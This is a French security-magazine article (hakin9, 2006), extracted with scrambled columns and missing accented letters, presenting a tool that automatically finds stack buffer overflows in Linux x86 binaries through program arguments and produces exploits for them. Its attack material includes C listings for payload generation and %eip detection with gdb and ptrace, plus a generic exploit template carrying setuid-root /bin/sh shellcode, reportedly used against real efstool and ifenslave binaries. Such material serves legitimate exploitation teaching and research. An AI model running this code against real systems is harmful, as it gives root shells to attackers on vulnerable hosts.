Anda di halaman 1dari 10

Automatiser le processus

d'exploitation sur Linux


Programmation
x86
Stavros Lekkas

Degr de difficult

Le contrle d'ventuels dfauts prsents dans les binaires


compils est une tche trs pnible pour les pntromtres.
Cette tche serait dfinitivement facilite avec un outil
susceptible d'identifier les bogues dus au surdbit de la mmoire
tampon et de produire un code d'exploitation.

I
maginons que vous ayiez crire un ex- lides implique un contrle du flux d'excution
trait de code compil sans avoir la chance du programme au moyen de simples adresses
de disposer du code source correspon- valides diriges vers ces segments.
dant. Par ailleurs, vous constatez que ce Les donnes, mentionnes plus haut,
code compil prsente les caractristiques sont places dans la mmoire tampon,
inhrentes une vulnrabilit par surdbit et peuvent parfois prendre la forme de don-
de la mmoire tampon. Dans la mesure o nes d'entre de l'utilisateur. Le programme
l'analyse de dsassemblage est un pro- peut, en effet, accepter des donnes d'entre
cessus extrmement long, un outil capable
d'automatiser le processus d'exploitation de
cette vulnrabilit potentielle se rvlerait
Cet article explique...
trs utile. Nous allons donc vous prsenter Comment identifier ce genre particulier de bo-
l'installation possible d'un tel outil. gues sans avoir recours au code source,
Dire qu'un programme est affect par Comment suivre les tapes ncessaires la
un bogue de surdbit de la mmoire tampon tche d'exploitation de ce bogue,
base sur la pile signifie qu'il existe un lieu, Les critres gnraux relatifs un modle de
la dnomme mmoire tampon, o les don- code gnrique d'exploitation,
nes sont copies. Ce type de mmoire Les raisons pour lesquelles cette automatisa-
tion est une aide prcieuse.
tampon existe dans la pile o ces dernires
sont pointes par des adresses. Par ailleurs,
lorsque les donnes sont enfin copies, les Ce qu'il faut savoir...
limites ne sont pas contrles, avec le risque
Les bases lmentaires de la programmation
vident d'un surdbit. Si la mmoire tampon en C sous Linux,
est effectivement en surdbit, certains autres Le fonctionnement du systme d'exploitation
segments hors de son champ d'action sont de Linux,
leur tour modifis. La manipulation efficiente Le fonctionnement de la pile sous Linux.
de tels segments contenant des donnes va-

56 hakin9 N 2/2006 www.hakin9.org


Exploitation automatise

Utilisation de la logique
des ensembles flous
La thorie relative la logique des
ensembles flous traite l'ambigut afin
d'essayer de catgoriser l'incertitude
et de classer cette dernire mathma-
tiquement. L'ensemble des nombres
entiers en mathmatiques possde une
cardinalit infinie, l'instar de l'ensem-
ble des nombres rels, etc. Toutefois,
en matire d'informatique, tout est fini
et les calculs dots d'oprandes trop
importants peuvent chouer.

Figure 1. Prsentation gnrale conceptuelle d'une opration de copie


utilisateur dans de nombreux cas incertaine
possibles comme, par exemple,
sous la forme d'arguments du
programme (ou de paramtres su
vous prfrez), de variables envi-
ronnementales, de commutateurs,
et mme de donnes d'entre de
programme d'excution reues au
moyen des fonctions libc gets(),
scanf(), etc. Dans la mesure o
chacun de ces cas est quasiment
unique, nous n'voquerons, dans
le cadre du prsent article, que les
arguments du programme en tant
que vecteurs d'attaques.
Il est essentiel de mentionner
que le concept d'automatisation n'a
aucun lien avec la logique des en-
sembles flous, et que l'outil produit
n'a jamais recours aux techniques Figure 2. Organigramme du premier algorithme de cration de donnes
des ensembles flous. Tenter de utiles
dtecter des vulnrabilits particu-
lires en inspectant des donnes avec des caractres de sorte tel que fourni en tant que premier
gnres partir d'entres dli- atteindre %eip. Adapter ces exigen- argument.
bres ne relve pas de la logique ces dans des tableaux de valeurs
des ensembles flous (voir la partie prdfinies permet de crer un mo- $ ./a.out hakin9
intitule Utilisation de la logique dle de construction logique dans un You typed: hakin9
des ensembles flous). cadre d'applications dfinies.
Dans notre recherche de che- Il est possible qu'au lieu d'appeler
mins pour contrler le %eip (voir la Arguments du uniquement printf() avec argv[1]
Figure 1 pour plus d'explications) programme comme paramtre, une mmoire
via les arguments, il nous faut rai- De nombreux formats ELF excuta- tampon intermdiaire, un tableau
sonner sur les lments dont nous bles reoivent des arguments avant de caractres ait t dclar.
disposons. Par exemple, il faudra de dbuter leur excution. Un exem- Si tel est le cas, argv[1] est alors
dterminer si un binaire excuta- ple typique est la commande rm, copi dans la mmoire tampon, puis
ble donn est vulnrable ou non. laquelle il faut fournir sous forme printf() utilise cette mmoire tam-
La premire supposition pourrait se de paramtre les lments que nous pon en tant que paramtre, avec,
traduire comme suit : soit le nime souhaitons supprimer. Supposons si tout se passe correctement,
argument n'est pas vulnrable, soit que nous ayons un format ELF ex- la chane au format appropri. Il
il l'est, auquel cas, il existe une cutable, a.out, charg d'imprimer est galement possible que argv[1]
distance dfinie devant tre remplie uniquement un flux de caractres soit copi dans cette mmoire

www.hakin9.org hakin9 N 2/2006 57


Programmation

tampon d'une manire peu sre.


Listing 1. Sous-systme de cration de donnes utiles Que se passerait-il si nous l'alimen-
char *make_payload(char *buffer, int policy, LINT num)
tions avec des donnes d'entre
// politiques : plus importantes ?
// _APPEND ~ ajout de $num 'A'[s]
// _REMOVE ~ suppression de $num 'A'[s] $ ./a.out `perl e print "A" x 50`
{
You typed: AAAAAAA AAA
char *my_buffer;
Segmentation fault (core dumped)
LINT i, len = strlen(buffer);

if( policy == _APPEND ) { La mmoire ne fonctionne plus


if( !(my_buffer = (char *)malloc( len + num + 1 )) ) { et produit un noyau. Toutefois,
fprintf(stderr, "[!] make_payload(): malloc() append error.\n");
de nombreuses distributions de
exit(EXIT_FAILURE);
}
Linux ne produisent pas de fichiers
CLEAR(my_buffer); noyaux. Nous pouvons donc activer
cette option en tapant la commande
if( len != 0 ) suivante :
for( i = 0; i < len; i++ )
my_buffer[i] = *(buffer++);
$ ulimit -c unlimited
for( i = len; i < len + num; i++ )
my_buffer[i] = 'A'; De cette faon, nous autorisons
la production de fichiers de noyaux
my_buffer[i] = 0x00;
dont la taille est illimite. Mais reve-
}
nons notre exemple ! La production
if( policy == _REMOVE ) { d'un noyau signifie qu'une mmoire
if( !(my_buffer = (char *)malloc( len - num + 1 )) ) { tampon intermdiaire a bien t uti-
fprintf(stderr, "[!] make_payload(): malloc() remove error.\n"); lise, et dans laquelle argv[1] a t
exit(EXIT_FAILURE);
copi de manire incertaine. Grce
}
CLEAR(my_buffer);
gdb, le dbogueur GNU, il est
possible d'observer l'instruction
for( i = 0; i < len - num; i++ ) l'origine de la panne :
my_buffer[i] = *(buffer++);

$ ./gdb c core ./a.out | grep \#0


my_buffer[i] = 0x00;
#0 0x41414141 in ?? ()
}

return my_buffer; Ce qui est logique puisque 0x41 est


} l'quivalent hexadcimal de A. Nous
avons expos dans la Figure 1 une
prsentation gnrale conceptuelle
bien plus dtaille.
Le pointeur de l'instruction a t
remplac par une adresse invalide,
ce qui a entran la panne (voir ga-
lement l'article intitul Provoquer un
surdbit de la pile sous Linux x86
disponible partir du site Web du
magazine hakin9.org).
Au lieu de lui fournir cinquante A,
nous aurions pu dterminer la dis-
tance exacte permettant d'atteindre
%ebp, remplir cette distance avec
des A, puis proposer une adresse
valide. Ainsi, il est possible de con-
trler le flux du programme excut
de manire ce que ce dernier ex-
cute le code que nous pouvons four-
Figure 3. Organigramme du deuxime algorithme de cration de donnes nir. De plus, cette opration peut tre
utiles automatise.

58 hakin9 N 2/2006 www.hakin9.org


Exploitation automatise

Collecte des Listing 2. Sous-systme d'excution et d'inspection labor avec gdb,


informations grep et awk
ce stade, il est important de int exec_and_inspect_1(char *buffer, int arg, char *vulnfile)
mentionner que les informations {
qui nous intressent au sujet dun //retourne : -2 ~ erreur interne
excutable donn relvent du // -1 ~ pas de correspondance
// 0 ~ correspondance certaine :)
nombre d'arguments, qui nous
// 1 ~ correspondance probable
donnera une chelle de valeur
pour manipuler %eip, ainsi que char tmp[512], bufresponse[64];
la distance permettant d'atteindre int inspec_val, i;
%eip. Si nous reprenons l'exemple FILE *fd;
u_long address;
de a.out, nous aurions pu dbuter
l'application gdb pour chacune des close(2); // gdb imprime vers stderr
valeurs de longueur possible de
l'argument, en crant chaque fois if( (fd = fopen(CMDF, "w+")) == NULL ) {
une charge de mmoire tampon ttyd = open("/dev/tty", O_RDONLY);
fprintf(stderr, "[!] exec_and_inspect_1(): error creating gdb command
qui augmenterait de manire pro-
file.\n");
gressive. Puis, il faudra contrler fflush(stderr);
la valeur du pointeur d'instruction return -2;
afin de dfinir le degr d'influence }
de nos donnes d'entre. Si l'ex- fprintf(fd, "r ");
for(i = 0; i < arg - 1; i++)
cutable est rellement vulnrable,
fprintf(fd, "foo ");
nous verrons alors trois tats dif-
frents lors de notre contrle. Les fprintf(fd, "%s\nquit\n", buffer);
trois tats suivants apparatront fclose(fd);
l'un aprs l'autre :
CLEAR(tmp);
snprintf(tmp, 511, "%s %s --command=%s|%s 0x | %s {'print $1'} > %s",
Une valeur qui ne correspond GDB, vulnfile, CMDF, GREP, AWK, RETF);
pas une alternance du pointeur
de l'instruction peut apparatre system(tmp);
plusieurs fois. unlink(CMDF);

Une valeur qui correspond au


CLEAR(bufresponse);
remplacement partiel du poin- if( (fd = fopen( RETF, "r")) == NULL ) {
teur de l'instruction apparat une ttyd = open("/dev/tty", O_RDONLY);
fois, et nous savons que l'essai fprintf(stderr, "[!] exec_and_inspect_1(): error reading gdb output file.\
suivant correspond automatique- n");
fflush(stderr);
ment un troisime tat (comme
return -2;
par exemple : 0x00414141). }
Une valeur qui correspond un fgets(bufresponse, 63, fd);
remplacement total du pointeur fclose(fd);
de l'instruction (comme par address = strtoul(bufresponse, 0, 16);

exemple : 0x41414141).
if(verbose)
fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));
Il est intressant de remarquer qu'un Suite sur la page suivante
remplacement partiel russi revient
altrer trois octets sur quatre de
%eip. Il impossible de suspecter tantes de poids afin d'en indiquer le rien de plus que crer des mmoires
l'adresse 0xbfff4141 dans un rempla- degr de danger et de dterminer tampons remplies de A lorsque c'est
cement partiel puisqu'il s'agit d'une l'ventuel remplacement. ce qui lui est ordonn de faire. Une
adresse valide pointant vers la pile. politique relativement facile com-
Toutefois, l'adresse 0xbf414141 est prendre pour produire de telles don-
bien plus suspecte car il est rare
Premier algorithme de nes utiles est illustre par la clbre
que la pile augmente plus. Bien que cration de donnes technique de la force brute. Nous
l'implmentation finale prenne en utiles allons crer des mmoires tampons
compte ce problme, il serait assez Le sous-systme responsable de la de toutes les longueurs possibles,
judicieux d'affecter des valeurs cons- cration de donnes utiles ne fait qui seront ensuite teste l'une aprs

www.hakin9.org hakin9 N 2/2006 59


Programmation

dans la mme tendue, alors l'alter-


Listing 2. Sous-systme d'excution et d'inspection labor avec gdb, nance dlibre sera dfinitivement
grep et awk (suite) dtecte.
switch( address_status( address ) ) {
La Figure 2 illustre cette aug-
case 0: // 0x41414141 mentation par un seul algorithme.
if( flag == 1 ) { //si 3 bits de poids faible ont t modifis Crer des mmoires tampons
antrieurement exponentielles, lorsque l'exposant
if(verbose) {
n'est que d'un octet, prsente cer-
fprintf(stdout, "-> %%eip status: definately smashed. ");
printfixed(address);
tains avantages et inconvnients.
} L'un de ces avantages est que
inspec_val = 0; cette mthode permet de rduire
} la complexit de programmation
else { // eip correspond avec le premier essai,
afin de gagner du temps dans les
// ce qui implique deux cas.
// premier cas : la commande gdb
calculs. Elle offre en ralit une
// a enregistr un fausse adresse, nous devons donc implmentation plus abstraite. Si
//continuer l'incrmentation est plus impor-
// deuxime cas : un contrle rapide rvle une mmoire tante qu'un seul A, elle acclre-
// tampon vulnrable
rait dfinitivement le processus
if(verbose) {
fprintf(stdout, "-> %%eip status: probably smashed. ");
tout en introduisant des conflits
printfixed(address); avec nos trois tats possibles de
} %eip. N'oubliez surtout pas qu'une
inspec_val = -1; alternance est dite dlibre si,
}
et seulement si l'ensemble des qua-
break;
case 1:// 3 bits de poids faibles ont t modifis
tre octets de %eip a t altr et si
// soit nous sommes sur le point de modifier trois des quatre octets ont t alt-
// %eip au prochain essai, soit rs lors d'un essai antrieur. Nous
// un contrle rapide correspond au 3/4 de %eip. avons expos dans le Listing 1
// Rsultat intressant, nous devons lancer
une implmentation du sous-sys-
// une tourne supplmentaire pour tre sr.
flag = 1;
tme de cration des donnes
utiles sous forme de composant
if(verbose) { entirement rutilisable.
fprintf(stdout, "-> %%eip status: partially smashed. "); Dans la mesure o le code
printfixed(address);
expos dans le Listing 1 utilise
}
la fonction malloc() pour allouer une
inspec_val = -1; mmoire tampon, puis retourne un
break; pointeur vers cette dernire, elle de-
case -1: vrait tre vide un moment donn.
if(verbose) {
Ce qui peut s'effectuer de la manire
if(address) {
fprintf(stdout, "-> %%eip status: not smashed. ");
suivante :
printfixed(address);
} char *p;
else p = make_payload("foo",
fprintf(stdout, "-> %%eip status: not smashed. (unaccessible)\
_APPEND, 1);
n");
free(p);
}
inspec_val = -1;
break;
default:
Deuxime algorithme
fprintf(stderr, "[!] I shouldn't be here.\n"); de cration de
}
inspec_val = -2;
donnes utiles
unlink(RETF); Au lieu d'augmenter les donnes
utiles d'un seul A, il est galement
return inspec_val; possible de l'augmenter avec des
}
blocs de A. Toutefois, cette m-
thode entre en conflit avec nos trois
l'autre jusqu' la dtection d'un signe tampon dans le champ des essais. tats possibles de %eip. C'est la rai-
d'alternance ou jusqu' atteindre Si l'argument est vulnrable, et si son pour laquelle cette mthode n'a
la longueur maximum de la mmoire notre champ d'essai est compris pas t implmente dans l'outil.

60 hakin9 N 2/2006 www.hakin9.org


Exploitation automatise

Pour tre plus prcis, il existe une


probabilit considrable que l'tat Listing 3. Sous-systme d'excution et d'inspection labor avec
2 ne soit jamais satisfait, ce qui en- l'appel de systme ptrace
tranerait un conflit avec le flux d- int exec_and_inspect_2(char *buffer, int arg, char *vulnfile)
fini du moment des tats internes. {
Au moment de crer des mmoires // retourne : -2 ~ erreur interne
tampons partir de blocs de A, // -1 ~ pas de correspondance
// 0 ~ correspondance :)
la valeur la plus efficace semble
tre trois A par bloc en termes de REGISTERS regs;
rapidit. Et plus particulirement, pid_t pid;
la valeur idale est produite par la int inspec_val = -1, wait_val, i = 1;
formule suivante : LLONG counter = 0;
char *args[MAX_ARGS] = {NULL};
args[0] = "lazyjoe";
block_len = word_size(
for(i = 1; i <= arg - 1; i++)
%eip size in bytes) 1 <=> (1) args[i] = "foo";
block_len = 4 1 <=> args[i] = buffer;
block_len = 3 args[i+1] = NULL;

switch( pid = fork() ) {


Ce qui nous donne trois ensem- case -1:
bles possibles de scnarios pour return -2;
remplacer %eip. Le cas le plus break;
intressant s'obtient lorsque %eip case 0:
ptrace(PTRACE_TRACEME, 0, 0, 0);
est entirement remplac et lors-
execv(vulnfile, args);
que la longueur des donnes utiles break;
n'est pas bien ajuste la distance default:
prcise. A ce stade, le sous-sys- wait(&wait_val);
tme de production de donnes if(verbose)
fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));
utiles doit produire un nombre de
while(wait_val == 1407) {
donnes utiles rduit. Dans ce cas, counter++;
l'tat 3 obtient la priorit d'occur- counter_tot++;
rence de l'tat 2, et vice versa. if( ptrace(PTRACE_GETREGS, pid, 0, &regs) != 0 ) {
Finalement, cette mthode ap- fprintf(stderr, "[!] ptrace(): error fetching registers.\n");
fflush(stderr);
porte de la vitesse, mais entrane
return -2;
galement une gnration de don- }
nes utiles la fois vers l'avant if( ptrace(PTRACE_SINGLESTEP, pid, 0, 0) != 0 ) {
et l'arrire (voir la Figure 3). Avec fprintf(stderr, "[!] ptrace(): error restarting.\n");
une catgorisation approprie des fflush(stderr);
return -2;
critres de l'alternance de %eip, cette
}
mthode se rvlerait idale afin if(verbose) {
de produire des donnes utiles au fprintf(stdout, "-> eip: %8x\r", regs.eip);
moyen de blocs fixes. N'oubliez pas fflush(stdout);
que cet algorithme n'a pas t retenu }

dans le code de l'outil. Si cet article


if( regs.eip == 0x41414141 ) {
vous intresse, vous pouvez toujours if(verbose) {
le dvelopper de manire efficace fprintf(stdout, "-> Number of instructions this round: %ld\n",
et oprationnelle. counter);
fprintf(stdout, "-> Total number of instructions: %ld\n",
Premier algorithme de counter_tot);
contrle }
inspec_val++; //0
Le sous-systme d'excution kill(pid, SIGKILL);
et d'inspection est de loin le com- }
posant le plus important de cet wait(&wait_val);
}
outil car il contient un moteur de
}
dcision simple. Son rle n'est return inspec_val;
pas passif comme celui du sous- }
systme de production de donnes
utiles. Ce sous-systme est charg

www.hakin9.org hakin9 N 2/2006 61


Programmation

Figure 4. Coopration entre les composants fonctionnels

Figure 6. Mta-modle abstrait du


systme dans son ensemble

Figure 5. Pile Linux vue du fond


d'excuter l'application vulnrable
au moyen des donnes utiles cons-
Listing 4. Modle gnrique de code d'exploitation truites dans l'argument appropri,
et de dcider, en fonction de la va-
// notre binaire
leur de %eip, si les donnes de sor-
#define BIN "our_vuln_bin"
// valeur hypothtique. Peut tre obtenue au moyen des tie dsires doivent tre rvles.
// algorithmes payload_production exec_and_inspect Ce processus de prise de dcision
#define NUM 44 fonctionne grce une liste d'heu-
char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" ristiques prioritaires, sous forme
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
toute simple de dclarations de
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80" type si-alors.
"\x31\xc0\x31\xdb\x40\xcd\x80"; Dvelopper un tel composant
en utilisant les outils en ligne de
int main(void) commandes gdb, grep et awk est
{
une mthode trs rapide mais in-
// notre structure d'environnement
char *env[2] = {shellcode, 0}; certaine. Une commande valide
char buffer[NUM + 5]; doit tre produite afin que les infor-
// notre formule intgrant le code shell mations sensibles soient extraites
unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(BIN); au moyen de canaux de commu-
memset(buffer, 0x41, NUM);
nication. Nous avons expos dans
*((long *)(buffer + NUM)) = ret;
buffer[NUM + 5] = 0x00; le Listing 2 une implmentation de
// cette ligne est labore partir du sous-systme de gnration cette technique.
d'exploitation Les donnes utiles ainsi que
// afin d'inclure tout argument possible sauf partir des donnes utiles l'argument sur le point d'tre tests
execle(BIN, BIN, buffer, 0, env);
sont fournis en tant que param-
return 0;
} tres de fonction (voir le Listing 2).
Le principe de conception gnral

62 hakin9 N 2/2006 www.hakin9.org


Exploitation automatise

Informations
sur les tests
Nous avons ralis les tests sur un
ordinateur portable Acer quip de
l'Intel P4, d'une unit centrale de 2,0
Ghz, et d'une RAM partage de 128
Mo. Le systme d'exploitation utilis
tait Mandrake 9.0 (Dolphin), excut
partir du poste de travail Vmware.
Les applications testes taient dis-
ponibles sous forme de packages
issus des CD d'installation de Man- Figure 7. Essai sur efstool au moyen du mode des canaux de
drake 9.0. communication

que l'auteur a adopt ici consiste


retourner les codes de gestion
vers la couche prcdente (pro-
gramme d'appel de niveau tex-
tuel), laquelle, son tour, excute
la mme opration pour la couche
prcdente, etc. Cette conception
en forme d'arbre offre une grande
flexibilit. Ainsi, cette technique
prsente l'avantage d'offrir une trs
bonne vitesse de test. Toutefois,
elle est extrmement lie aux appli- Figure 8. Essai sur ifenslave au moyen du mode des canaux de
cations tierces, dont l'intgrit n'est communication
pas connue.

Deuxime algorithme
de contrle
Une seconde implmentation po-
tentielle d'un sous-systme d'ex-
cution et d'inspection pourrait
reposer sur l'appel du systme
ptrace(). Cette mthode prsente
un ensemble correct de fonctionna-
lits de niveau infrieur, dont cer-
taines seront sans doute adoptes Figure 9. Essai sur ifenslave au moyen du mode ptrace
dans l'outil. Enfin, ptrace permet
d'activer un processus permettant d'un signal. Nous appellerons processus fils. Le dernier proces-
de contrler l'excution d'un autre. ptrace() avec PTRACE _ TRACEME sus sera cr au moyen de fork().
Le processus ainsi pist se compor- en tant que valeur de la requte PTRACE _ GETREGS nous permettra
te normalement, jusqu' dtection afin d'activer le contrle sur les d'intercepter toutes les valeurs

Tableau 1. Reprsentation quantitative de la performance de binaires spcialement conus


Argument vulnrable Mmoire tampon vulnrable Canaux de communication Ptrace

1 128 octets 20.41136200 sec n/a

3 32 octets 7.79432000 sec 457.13281000 sec

5 16 octets 5.24972400 sec 339.47941600 sec

20 16 octets 7.66579100 sec 479.69758100 sec

www.hakin9.org hakin9 N 2/2006 63


Programmation

enregistres dans une structure


d'enregistrement approprie, et propos de l'auteur
nous assistera dans l'inspection Stavros Lekkas, originaire de Grce, est tudiant de troisime anne l'Universit de
de %eip. Enfin, PTRACE _ SINGLESTEP Manchester (anciennement appele l'UMIST). Ses centres de recherches touchent
nous aidera trouver l'instruction la cryptographie, la scurit informatique, l'exploration des donnes, les math-
malveillante. Nous avons expos matiques suprieures (logique et thorie des nombres), ainsi que la complexit des
calculs informatiques. Il travaille actuellement sur un mmoire dont le sujet concerne
dans le Listing 3 l'implmentation
un compilateur.
de cette technique.
Notez bien que l'implmentation
expose dans le Listing 3 ne respec- Le module au nombre 7, tel shell. Elles sont prsentes sous
te pas la squence d'occurrences qu'expos dans la Figure 4, est forme de format de code machine
des trois tats. En effet, cette techni- charg d'identifier le statut de %eip l'apparence d'une squence
que ne traite pas la manipulation des sur la base de son heuristique code hexadcimale (voir l'article intitul
chanes, contrairement la mthode en dur. Voici comment fonctionne Optimisation du shellcode de Linux
prcdente, mais interagit directe- le processus de prise de dcision disponible sur le site Web du ma-
ment sur les valeurs enregistres. et comment la distance prcise peut gazine hakin9.org). La rdaction
Cette technique et la prcdente tre trouve. d'interprteurs de commandes ne
reoivent les mmes informations relevant pas du sujet de notre ar-
en paramtres, et produisent les m- Code d'exploitation ticle, nous supposerons que nous
mes codes de gestion des erreurs Nous savons dsormais dterminer disposons d'un shellcode capable
pour une situation donne. la distance prcise via un argu- de gnrer un shell, en ditant
Cette technique est gnra- ment vulnrable. L'tape suivante les commandes suivantes en s-
lement trs longue, et il ne vaut consiste activer le sous-systme quence :
mieux pas lui faire confiance en cas de gnration d'exploitation dont
de grandes valeurs de la mmoire le concept devrait tre plus facile- setuid(0); execve ("/bin/sh", 0); exit
tampon. Bien que pas suffisam- ment comprhensible par rapport (0);
ment rapide, en mode prolixe, elle la thorie.
est toutefois trs intressante dans Est dsign par code d'ex- Notre objectif consiste passer
la mesure o elle imprime toutes ploitation un extrait de code dans le programme actuellement
les valeurs d'instruction passes labor dans le but que suggre vulnrable certains octets trafiqus
par %eip lors de la priode d'essai. son nom : profiter d'une situation jusqu' atteindre la distance dsi-
Il s'agit ici de millions, voire plus, donne. Laquelle situation provient re. Cette distance reprsente en
d'instructions. Il n'est donc gure d'un dfaut de programmation. effet le dbut du pointeur de l'ins-
encourageant de les connecter. Dans le cadre de notre article, il truction (%eip) qui sera remplac
Ces instructions peuvent tre utili- s'agit d'un argument dfectueux par une adresse valide dirige vers
ses pour identifier les modles de sur la pile locale. En exploitant le notre shellcode. Il s'agit ici d'une
cadre de pile grce une analyse dfaut de programmation, il est partie intressante. Comment
approfondie de l'excutable. ensuite possible d'excuter les connatre exactement l'adresse
commandes de notre choix. Ces laquelle sera situ notre shell-
commandes font partie du clbre code ? Est-il possible d'identifier
Coopration interprteur de commandes du une formule capable de donner une
des composants code d'exploitation. On appelle ces adresse valide et universelle diri-
fonctionnels commandes shellcode dans la me- ge vers notre shellcode ? A-t-on
Si ce n'est pas encore clair, la per- sure o elles excutent un nouveau rellement besoin d'informations
tinence des actions gnres par
l'outil dpend grandement d'une
coopration des sous-systmes Sur Internet
http://www.enderunix.org/docs/eng/bof-eng.txt
base sur leur conception correcte.
article sur les surdbits,
Les deux sous-systmes noyaux
http://packetstormsecurity.org/groups/netric/envpaper.pdf
communiquent entre eux, en en-
article sur la mthode succs direct,
voyant des codes de gestion leur http://linuxgazette.net/issue81/sandeep.html
couche de gestion intermdiaire, pistage de processus au moyen de ptrace,
c'est--dire la fonction find _ dist() http://www.securityfocus.com/bid/5125
(voir le code source pour l'implmen- Informations de Bugtraq sur EFSTool,
tation). Le concept de cette coop- http://www.securityfocus.com/bid/7682/info
ration soutenue par les retours est Informations de Bugtraq sur ifenslave.
illustr dans la Figure 4.

64 hakin9 N 2/2006 www.hakin9.org


Exploitation automatise

spcifiques relatives notre dis-


tribution Linux ? Il est possible de Assemblage des
rpondre toutes ces questions en informations
introduisant un modle gnrique collectes
de code d'exploitation. Jusqu'ici, et grce tous les d-
fauts rencontrs (Douglas Adams,
Mthode au succs Le guide du routard galactique, 1984),
direct nous avons russi dterminer
En voulant crer un modle gn- la distance ncessaire pour atteindre
rique de code d'exploitation, nous le dbut de %eip ainsi que notre for-
sommes tombs sur la pile. La pile mule. Nous pouvons dsormais crer
est structure de telle sorte qu'elle le modle de code d'exploitation. Une
nous a aids trouver une formule implmentation oprationnelle de ce
universelle. Le haut de la pile varie modle devrait ressembler au code
en fonction de notre programme. expos dans le Listing 4.
Toutefois, la dernire adresse valide L'ensemble des informations
dirige vers l'espace de la pile est pertinentes est dclar au moyen
dtermine sur 0xbfffffff. Nous des dclarations #define. Il s'agit d'un
avons expos dans la Figure 5 la pile lment extrmement important car
vue du fond. nous pouvons ainsi conserver une
Les donnes sont excutes du partie plus importante de l'exploita-
fond vers le haut alors que la pile tion dans un tat cod en dur sans
augmente dans le sens contraire, avoir altrer d'autres composants
du haut vers le bas. L'environne- hormis les segments #define. De ce
ment se trouve une distance fixe fait, la fonction charge de gnrer le
du fond de la pile, et il est possible code d'exploitation sera conserve
de dterminer son nime lment pour une utilisation minimale. Nous
l'aide de la Figure 5. La formule vous recommandons de la tester,
pour le nime environnement est la elle ne vous dcevra pas.
suivante : Nous avons expos dans la
Figure 6 une prsentation gnrale
address = 0xbfffffff - 4 de toutes les tapes ncessaires
- ( strlen(prog_name) + 1 ) l'excution de l'outil.
- strlen(env[n]); (2)
Exemples concrets
ce qui quivaut : Le 26/05/2003, un surdbit d'une
mmoire tampon a t dtect dans
address = 0xbffffffa la version 0.0.7 d'un programme
- strlen(prog_name) appel ifenslave (voir Bugtraq ID
- strlen(env[n]); (3) 7682). Il s'agit d'un surdbit sur la
pile locale provoqu par le premier
Cet environnement semble tre argument. Le mme problme a t
la place idale pour notre shellcode. signal avec EFSTool. Ce dernier
Nous pouvons donc insrer notre est vraisemblablement d, selon
shellcode dans une structure de l'en- le rapport, un surdbit de la pile
vironnement, puis excuter le binaire le 29/01/2002, et la plupart des dis-
vulnrable au moyen de l'environne- tributions RedHat et Mandrake con-
ment prcdent. tiennent la version vulnrable (voir
Pour ce faire, il est possible Bugtraq ID 5125).
d'utiliser les fonctions execve() ou Aprs avoir install ces ap-
execle() tant que leur dernier pa- plications, nous avons tent de
ram tre est une structure de l'envi- dmontrer si lazyjoe est capable
ronnement. Cette mthode n'exige de prparer une exploitation dans
aucun code d'opration NOP (0x90) ces deux cas. Les Figures 7, 8
dans la mesure o elle est directe- et 9 montrent lazyjoe contrler
ment dirige vers le shellcode dans /usr/bin/efstool et /sbin/ifenslave
la pile. avec succs. l

www.hakin9.org hakin9 N 2/2006 65

Anda mungkin juga menyukai